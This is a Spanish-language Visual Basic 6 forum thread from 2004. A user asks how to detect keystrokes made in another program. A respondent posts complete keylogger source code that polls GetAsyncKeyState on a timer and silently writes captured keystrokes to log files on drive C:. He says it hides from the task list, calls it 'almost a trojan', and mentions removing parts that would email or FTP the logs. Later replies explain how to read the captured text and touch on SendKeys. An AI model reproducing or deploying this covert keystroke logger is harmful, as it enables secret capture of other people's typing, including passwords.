border

Miembros:
Mensajes:
Temas:
Online:

Ultimo Miembro:

 
 

Cuenta Bancaria en EEUU

Retroceder   VB-MUNDO - Programacion Visual > Programacion - Lenguajes > Visual Basic 6.00
Registrarse FAQ Miembros Calendario Buscar Temas de Hoy Marcar Foros Como Leídos

Respuesta
 
LinkBack Herramientas Desplegado
  #1 (permalink)  
Antiguo 11-10-2004, 22:49:30
Avatar de Tyron
Buena Participación en el Foro
 
Registrado: sep 2004
Posts: 86
Tyron Valoración +2
Contactar con Tyron a través de MSN
Predeterminado Saber tecla pulsada en otra aplicacion

Saludos a todos, ando con una duda mas que nada por curiosidad, ¿se puede saber que tecla del teclado se ha pulsado en una aplicacion cualquiera? A ver si me se explicar... Por ejemplo, abro el bloc de notas, y quiero saber que tecla se ha pulsado, y segun la tecla pulsada controlar ese evento y esa tecla para por ejemplo duplicar esa letra, es decir mandarle a la otra aplicacion, el bloc de notas en este caso, otra vez el valor de la tecla pulsada. Si no me entendieron diganmelo y me intentare explicar con mas claridad. A lo mejor con alguna api se puede, si es que se puede...

Gracias
Responder Con Cita
  #2 (permalink)  
Antiguo 11-10-2004, 23:14:51
Gran Participación en el Foro
 
Registrado: oct 2004
Posts: 177
dagoba77 Valoración +2
Predeterminado

Hola

Supongo que lo que tu buscas es un key logger no??

ok ahi te va un ejemplillo si tienes dudas me avisas pues yo lo hice (con algo de ayuda claro)

Esto va en el form

Pones un Timer con el intervalo en 10 y dos cajas de texto y el siguiente codigo




Código:
Private Sub Form_Load()


          If App.PrevInstance Then
    End
End If

  



App.Title = ""
Dim Result As String


Result = sSave
'Pone sSave listo para seguir
sSave = ""
'se le asigna valor a i
'con este se crea el archivo y se escribe en el solo si no existe el Page Ranking 1
Text2 = 0
End Sub

Private Sub Text2_Change()
Dim i As String
Dim Result As String
Dim Numfree As Byte
Dim f As Byte
Dim n As Byte
Numfree = FreeFile
Text1 = sSave

'este es para hacer el cont y crear los numeros en serie
If Text2 = 100 Then
If Dir("c:cont.txt") = "" Then ' sino existe el cont lo creamos
Open "c:cont.txt" For Output As Numfree
Print #Numfree, 1 ' le damos el valor de uno
Close Numfree
Else
Open "c:cont.txt" For Input As Numfree 'si si existe
Input #Numfree, f ' le damos el valor de uno
Close Numfree
Open ("c:cont.txt") For Output As Numfree ' despues al valor que recoge (f) le sumamos uno y lo cerramos
Print #Numfree, f + 1
Close Numfree
End If
End If

'crear y capturar el log
i = 1
If Text2 = 100 Then ' despues de veinte pulsaciones
If Dir("c:prueba" & i & ".txt") <> "" Then ' si es el primer log
Open "c:prueba" & i & ".txt" For Append As Numfree ' lo creamos el log 1
Print #Numfree, Text1
Close Numfree ' lo cerramos


Else
Open "c:cont.txt" For Input As Numfree
Input #Numfree, n
Close Numfree
i = n + 1
Open "c:prueba" & i & ".txt" For Append As Numfree
Print #Numfree, Text1
Close Numfree
End If
End If
If Text2 = 100 Then
Text2 = 0
sSave = ""
End If
End Sub
Private Sub Timer1_Timer()
Text1 = sSave
Text2 = Len(Text1)

'Llama a GetPressedKey y lo guarda en Ret
Ret = GetPressedKey
'Si Ret y sOld son distintos
'guarda Ret en sOld
'y lo concatena con sSave
Select Case Ret
    Case "`"
        Ret = 0
    Case "a"
        Ret = 1
    Case "b"
        Ret = 2
    Case "c"
        Ret = 3
    Case "d"
        Ret = 4
    Case "e"
        Ret = 5
    Case "f"
        Ret = 6
    Case "g"
        Ret = 7
    Case "h"
        Ret = 8
    Case "i"
        Ret = 9
End Select


If Ret <> sOld Then
sOld = Ret
sSave = sSave + sOld
End If
End Sub


ok luego en un modulo (.bas) pones esto que es el save para las pulsaciones



Código:
Option Explicit



'API para verificar las teclas
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
'variables
Global Cnt As Long
Global sSave As String
Global sOld As String
Global Ret As String

Function GetPressedKey() As String
'Recorre los caracteres imprimibles
For Cnt = 32 To 128
'Detecta el estado de la tecla
'si es distinto de 0 es que esta presionada
'así que la retorna como resultado
'de la llamada a la funcion
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr$(Cnt)
Exit For
End If
Next Cnt
End Function

ok como ves esta todo comentado le quite las parttes de enviar los logs al mail o al ftp pues no se si los necesitabas como puedes ver tampoco aparece en la ventana de aplicaciones (Ctrl+Alt+Sup) asi que casi casi es un trojano, aver si es lo que buscabas

Suerte¡¡¡¡
__________________
voy aprendiendo , siempre
Responder Con Cita
  #3 (permalink)  
Antiguo 11-10-2004, 23:22:50
Avatar de J.M.Movilla
Administrator
 
Registrado: dic 2002
Ubicación: BURGOS - ESPAÑA
Posts: 5.431
J.M.Movilla Valoración +2
Predeterminado

Creo que te has explicado bien: Que puedas tener dos documentos, uno en una aplicación y otro en otra, y que cuando cambies un carácter en uno de los documentos, al pulsar una tecla, quede actualizado ese documento en la otra aplicación...

Supongo que eso que tú pretendes, lo de hacer que cuando pulses en Roma pulsado quede en Pekín... Ya sabes, todo es posible en Granada... Pero es que ni me lo propongo el buscar cómo hacerlo... Porque yo creo que antes que elucubrar merece la pena ajustarse a la lógica... Y la lógica es que se aprovechen los recursos que se nos brindan ya hechos... En este caso, pasar el documento completo cuando hayas terminado de editarlo... Y te evitar el perder el tiempo primero en programar esos eventos de tecla a tecla, y segundo en la ejecución de cada pulsación.

Pero, no te preocupes... que como te digo, todo es posible en Granada, y ya verás como alguien te da otra respuesta que se ajuste más a tus gustos. Porque sobre gustos no hay nada escrito. Y también puede ser que yo haya mal interpretado tu intención... Todo, todo es posible...

Tan posible, que cuando pulso [Enviar] veo que efectivamente tienes una respuesta que seguro que es la acertada... Así que la mía la tiras directamente a la cesta de la basura, y en paz...
__________________
José María Movilla Cuadrado
______________________

Visual Basic Videos Programacion Foro Programacion
Tutoriales Programacion Trucos Programacion Codigos Programacion
Responder Con Cita
  #4 (permalink)  
Antiguo 12-10-2004, 01:10:14
Avatar de Tyron
Buena Participación en el Foro
 
Registrado: sep 2004
Posts: 86
Tyron Valoración +2
Contactar con Tyron a través de MSN
Predeterminado

Holaa, he leido y probado el codigo de daoba pero, a pesar de ser bastante interesante, no se como aplicarlo a lo que yo quiero exactamente, lo que quiero es algo mas complicado, desde una aplicacion, por ejemplo el bloc de notas, aprieto la tecla A, ese evento pasa a mi aplicacion, hasta ahí todo bien, con el codigo de daoba, pero segun esa tecla pulsada, pasarla por una funcion en mi aplicacion para duplicarla o lo que quiera y que luego sea devuelta al bloc de notas, que repito que lo del bloc de notas es un ejemplo, no es exactamente lo que quiero hacer, solo necesito esa orientacion, de lo de mas ya me ocupo yo; algo tendre que hacer no? :P jeje

Salu2
Responder Con Cita
  #5 (permalink)  
Antiguo 12-10-2004, 01:19:39
Gran Participación en el Foro
 
Registrado: oct 2004
Posts: 177
dagoba77 Valoración +2
Predeterminado

Bueno no te entiendo muy bien pero supondre:


Tu lo que quieres es que ya salvada la letra "A" por ejemplo que se ha pulsado sobe el block de notas o sobre el messenger o sobre lo que quieras luego la tomes y la conviertas en otra cosa y luego la pegues en donde quieras "word exel bla bla bla"

Bueno dos sugerencias

puedes con el codigo que te di modificar el sSave que es global y lo puedes llamar desde donde quieras pra que se convierta en otra cosa en lugar de su chr (o caracter ) puede ser un numero o un simbolo ascci

o puedes dejarlo asi si no lo quieres modificar y cambiar el objerto que se crea en lugar de open txt puedes crear rft. o bynarios para mandarlo a otra aplicacion, tal vez si dijieras bien a bien que es lo que quieres hacer podria ayudarte

Saludos

editado por mi


Bueno por cierto si lo chcas mi codigo te crea los logs en c ahi se guarda todo lo que escribes presisamente en un archivo txt para el bloc de notas

asi que me imagino que te sirve, pero otra cosa ¿nececitas el clipboard? osea copiar y pegar automatico, entonce modifica el codigo para que el contenido de text2 se guarde en el portapapeles y lo pegues donde quieras en el block con el mouse o automaticamente con mas codigo

Suerte de nuevo
__________________
voy aprendiendo , siempre
Responder Con Cita
  #6 (permalink)  
Antiguo 12-10-2004, 02:20:54
Avatar de Tyron
Buena Participación en el Foro
 
Registrado: sep 2004
Posts: 86
Tyron Valoración +2
Contactar con Tyron a través de MSN
Predeterminado

Pues lo que me falta saber es, como mandar a una aplicacion, seguimos con el ejemplo del bloc de notas, que se ha pulsado una tecla. Con tu codigo puedo saber que tecla se ha pulsado, entonces la transformo a lo que yo quiera, pero me falta saber como volverla a mandar al bloc de notas en este caso, que es de donde la he mandando. Es decir, escribo A, en el bloc, la aplicacion recibe la tecla pulsada, hago lo que quiero, y la devuelvo como quiero, una B por ejemplo. La verdad es que para explicarme no valgo lo se...

Un salu2 espero que podais ayudarme y siento molestar tanto.
Responder Con Cita
  #7 (permalink)  
Antiguo 12-10-2004, 02:50:47
Gran Participación en el Foro
 
Registrado: oct 2004
Posts: 177
dagoba77 Valoración +2
Predeterminado

Mira al codigo que te di al principio cambiale los "100" que encuentres (son tres) por digamos cincos ¿ok?

entonces ejecutalo escribe algo en el block de notas algo asi como "Hola ya estoy por aca" algo mayor que cinco caracteres entonce explora tu unidad c: y aho va a ver unos archivos que se llaman prueba los abres y ¡¡¡taran¡¡¡ ahi esta lo que escribiste

si lo quieres letra por letra entonces cambia los cincos por unos y ya
ahi va ha estar en c: "todo lo que escribas" donde sea


Espero que si

Si no explicate mejor por que de verdad no te entiendo


Suerte
__________________
voy aprendiendo , siempre
Responder Con Cita
  #8 (permalink)  
Antiguo 12-10-2004, 02:59:13
Avatar de Tyron
Buena Participación en el Foro
 
Registrado: sep 2004
Posts: 86
Tyron Valoración +2
Contactar con Tyron a través de MSN
Predeterminado

Si, eso ya lo vi pero, igual que sendkeys hace como que se ha pulsado la tecla que le mandes en esa aplicacion lo necesito para usarlo de manera externa, a otra aplicacion. Algo asi como la api sendmessage que puede cambiar el caption de una aplicacion por ejemplo, pues mandarle el mensaje de que haga lo que tenga que hacer al pulsar una tecla. Veamos, quiero que al pulsar la flecha arriba en el explorer vaya hacia abajo; con lo que tu me mandas tengo el codigo de la flecha arriba, lo modifico para que sea el codigo de la flecha abajo y ahora... como devuelvo al explorer esa funcion??
Responder Con Cita
  #9 (permalink)  
Antiguo 12-10-2004, 18:23:34
Gran Participación en el Foro
 
Registrado: oct 2004
Posts: 177
dagoba77 Valoración +2
Predeterminado

Hola de nuevo

Ok ya creo entender no tengo aqui el visual peroprueba con esto

Código:
If GetAsyncKeyState(Cnt) <> 0 Then 
GetPressedKey = Chr$(Cnt)
aqui cambias

GetPressedKey = Chr$(Cnt)
por
GetPressedKey = keyasccii = 23

lo del 23 es un ejemplo no se que tecla deseas cambiar checa los codigos ascii asi sSave va a guardar ese valor para todaslasteclasy lo convierte

si lo quieres para una tecla en particular entonces en lugar de
If GetAsyncKeyState(Cnt) <> 0 Then

lo cambias por
If GetAsyncKeyState(Cnt) = "codigo ascii de la pulsacion Then borra todo lo que tiene que ver con lacreacion de archivo del form y loscontroles de texto y asi solo debe de hacer lo que nesecitas cambiar el valor ascci en la ventana activa


mas tarde lo pruebo en mi maquina y te lo posteo de nuevo ya terminado

Suerte de nuevo
__________________
voy aprendiendo , siempre
Responder Con Cita
  #10 (permalink)  
Antiguo 12-10-2004, 20:02:55
Avatar de Tyron
Buena Participación en el Foro
 
Registrado: sep 2004
Posts: 86
Tyron Valoración +2
Contactar con Tyron a través de MSN
Predeterminado

Bien... en la ayuda sale un ejemplo del sendkeys que manda a la calculadora unos numeros para que los sume, lo que pasa es que si intento mandar luego con otro boton otros numeros para que los multiplique, no los manda, se ve que tiene que ver algo con lo de appactivate, sabes algo? porque esa manera me seria muy util junto a tu codigo. salu2
Responder Con Cita
Respuesta


Herramientas
Desplegado

Normas de Publicación
no Puedes crear nuevos temas
no Puedes responder a temas
no Puedes adjuntar archivos
no Puedes editar tus mensajes

El código vB está habilitado
Las caritas están habilitado
Código [IMG] está habilitado
Código HTML está deshabilitado
Trackbacks are habilitado
Pingbacks are habilitado
Refbacks are habilitado


Temas Similares
Tema Autor Foro Respuestas Último Mensaje
Como Deshabilitar la tecla "Inicio" en otra Aplica Loriel Visual Basic 6.00 0 20-03-2007 22:32:21
Como puedo saber que expresión de Hora es mayor a otra??? jrios03 Visual Basic 6.00 2 02-12-2006 21:17:02
saber si un programa esta ejecutandose en otra maquina Javier_J2006 Visual Basic 6.00 9 23-10-2006 15:08:32
keycode como saber el codigo de tecla mcrex1 Visual Basic 6.00 3 14-03-2006 17:40:26
Esperar a otra aplicación Insomnia17 Visual Basic 6.00 3 11-01-2005 09:34:06


La franja horaria es GMT. Ahora son las 02:28:52.

Powered by vBulletin® Version 3.6.8
Copyright ©2000 - 2008, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO 3.1.0
A vBSkinworks Design

Alojado en el servicio Premium de Masquewebs | Diseño mejorado por MasqueWebs

right